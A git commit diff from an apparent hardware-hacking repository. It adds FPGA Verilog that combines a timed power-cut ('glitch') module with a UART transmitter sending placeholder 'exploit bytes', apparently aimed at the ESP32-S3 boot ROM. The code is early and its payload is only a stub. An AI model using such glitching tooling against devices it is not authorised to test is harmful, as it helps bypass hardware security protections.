PrincessPi/esp-bootrom-exploit
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

added UART version to FPGA tool

Browse Source
This commit is contained in:
Princess Pi
2024-08-24 18:29:06 -06:00
parent 42b5ff2d7d
commit 5afcdc389f
4 changed files with 88 additions and 113 deletions
Download Patch File Download Diff File Expand all files Collapse all files
ESP32-S3_Exploit/ESP32-S3_Exploit_UART/ES32-S3_Exploit_UART.v
-75
View File
@@ -1,75 +0,0 @@
module exploit
(
// exploit
input clk_in,
output bang_tx,
output power_tx,
output [5:0] led
);
////////// EXPLOIT
localparam INSTRUCTION_OFFSET = 100;
// da official exploit code
localparam EXPLOIT_BYTES = {16'hFA,16'hEB,16'h11,16'hDD};
localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
localparam LEDS_ON = 0;
localparam LEDS_OFF = 6'b111111;
reg [1:0] bang_tx_reg = 0;
reg [1:0] power_tx_reg = 1;
reg [1:0] led_run = 1;
reg [1:0] rst = 0;
reg [1:0] running = 1;
reg [5:0] ledCounter = 0;
reg [23:0] instruction_counter = 0;
reg [23:0] exploit_tx_count = 0;
reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES;
always @(posedge clk_in) begin
if(rst == 1) begin
running = 1;
power_tx_reg = 1;
rst = 0;
end
if(instruction_counter == INSTRUCTION_OFFSET) begin
power_tx_reg = 0;
rst = 1;
end
if(running == 1) begin
if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
bang_tx_reg <= exploit_bytes_reg[exploit_tx_count];
exploit_tx_count <= exploit_tx_count + 1;
led_run <= 1;
end else begin
led_run <= 0;
end
if(led_run == 1) begin
ledCounter <= ledCounter + 1;
if(ledCounter == LEDS_OFF) begin
ledCounter <= LEDS_ON;
end
end
if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
ledCounter <= LEDS_ON;
rst = 1;
running = 0;
end
instruction_counter <= instruction_counter + 1;
end
end
assign led = ledCounter;
assign bang_tx = bang_tx_reg;
assign power_tx = power_tx_reg;
endmodule
`include "uart.v"
ESP32-S3_Exploit/ESP32-S3_Exploit_UART/uart.v → ESP32-S3_Exploit/ESP32-S3_Exploit_UART/ESP32-S3_Exploit_UART.v
+84 -37
View File
@@ -1,19 +1,83 @@
`default_nettype none
// ganked from https://raw.githubusercontent.com/lushaylabs/tangnano9k-series-examples/
// of https://learn.lushaylabs.com
module uart
module exploit
#(
parameter DELAY_FRAMES = 234 // 27,000,000 (27Mhz) / 115200 Baud rate
)
(
// exploit
input clk_in,
output power_tx,
output [5:0] led,
// uart
input clk,
input btn1,
input uart_rx,
output uart_tx,
output reg [5:0] led,
input btn1
output uart_tx
);
////////// EXPLOIT
localparam INSTRUCTION_OFFSET = 100;
// da official exploit code
localparam EXPLOIT_BYTES = {8'h5D,8'h5D,8'h5D,8'h5D};
//// glitch logic
localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
localparam LEDS_ON = 0;
localparam LEDS_OFF = 6'b111111;
reg [1:0] power_tx_reg = 1;
reg [1:0] led_run = 1;
reg [1:0] rst = 0;
reg [1:0] running = 1;
reg [5:0] ledCounter = 0;
reg [23:0] instruction_counter = 0;
reg [23:0] exploit_tx_count = 0;
reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES;
always @(posedge clk_in) begin
if(rst == 1) begin
running = 1;
power_tx_reg = 1;
rst = 0;
end
if(instruction_counter == INSTRUCTION_OFFSET) begin
power_tx_reg = 0;
rst = 1;
end
if(running == 1) begin
if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
led_run <= 1;
end else begin
led_run <= 0;
end
if(led_run == 1) begin
ledCounter <= ledCounter + 1;
if(ledCounter == LEDS_OFF) begin
ledCounter <= LEDS_ON;
end
end
if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
ledCounter <= LEDS_ON;
rst = 1;
running = 0;
end
instruction_counter <= instruction_counter + 1;
end
end
//// uart rx
// uart shit ganked from https://raw.githubusercontent.com/lushaylabs/tangnano9k-series-examples/
// of https://learn.lushaylabs.com
localparam HALF_DELAY_WAIT = (DELAY_FRAMES / 2);
reg [3:0] rxState = 0;
@@ -71,38 +135,16 @@ always @(posedge clk) begin
endcase
end
always @(posedge clk) begin
if (byteReady) begin
led <= ~dataIn[5:0];
end
end
//// uart tx
reg [3:0] txState = 0;
reg [24:0] txCounter = 0;
reg [7:0] dataOut = 0;
reg txPinRegister = 1;
reg [1:0] txPinRegister = 1;
reg [2:0] txBitNumber = 0;
reg [3:0] txByteCounter = 0;
assign uart_tx = txPinRegister;
localparam MEMORY_LENGTH = 12;
reg [7:0] testMemory [MEMORY_LENGTH-1:0];
initial begin
testMemory[0] = "L";
testMemory[1] = "u";
testMemory[2] = "s";
testMemory[3] = "h";
testMemory[4] = "a";
testMemory[5] = "y";
testMemory[6] = " ";
testMemory[7] = "L";
testMemory[8] = "a";
testMemory[9] = "b";
testMemory[10] = "s";
testMemory[11] = " ";
end
localparam MEMORY_LENGTH = 5;
localparam TX_STATE_IDLE = 0;
localparam TX_STATE_START_BIT = 1;
@@ -126,16 +168,15 @@ always @(posedge clk) begin
txPinRegister <= 0;
if ((txCounter + 1) == DELAY_FRAMES) begin
txState <= TX_STATE_WRITE;
dataOut <= testMemory[txByteCounter];
txBitNumber <= 0;
txCounter <= 0;
end else
txCounter <= txCounter + 1;
end
TX_STATE_WRITE: begin
txPinRegister <= dataOut[txBitNumber];
txPinRegister <= exploit_bytes_reg[txBitNumber];
if ((txCounter + 1) == DELAY_FRAMES) begin
if (txBitNumber == 3'b111) begin
if (txBitNumber == 7) begin
txState <= TX_STATE_STOP_BIT;
end else begin
txState <= TX_STATE_WRITE;
@@ -167,4 +208,10 @@ always @(posedge clk) begin
end
endcase
end
// assigns to output
assign led = ledCounter;
assign power_tx = power_tx_reg;
assign uart_tx = txPinRegister;
endmodule
ESP32-S3_Exploit/ESP32-S3_Exploit_UART/lushayproject.lushay.json
+1 -1
View File
@@ -1,7 +1,7 @@
{
"name": "ESP32-S3_Exploit_UART",
"board": "tangnano9k",
"includedFiles": ["ES32-S3_Exploit_UART.v"],
"includedFiles": ["ESP32-S3_Exploit_UART.v"],
"constraintsFile": "tangnano9k.cst",
"baudRate": 115200,
"top":"exploit"
ESP32-S3_Exploit/ESP32-S3_Exploit_UART/tangnano9k.cst
+3
View File
@@ -1,3 +1,6 @@
IO_LOC "clk" 52;
IO_PORT "clk" PULL_MODE=UP;
IO_LOC "uart_rx" 18;
IO_PORT "uart_rx" IO_TYPE=LVCMOS33;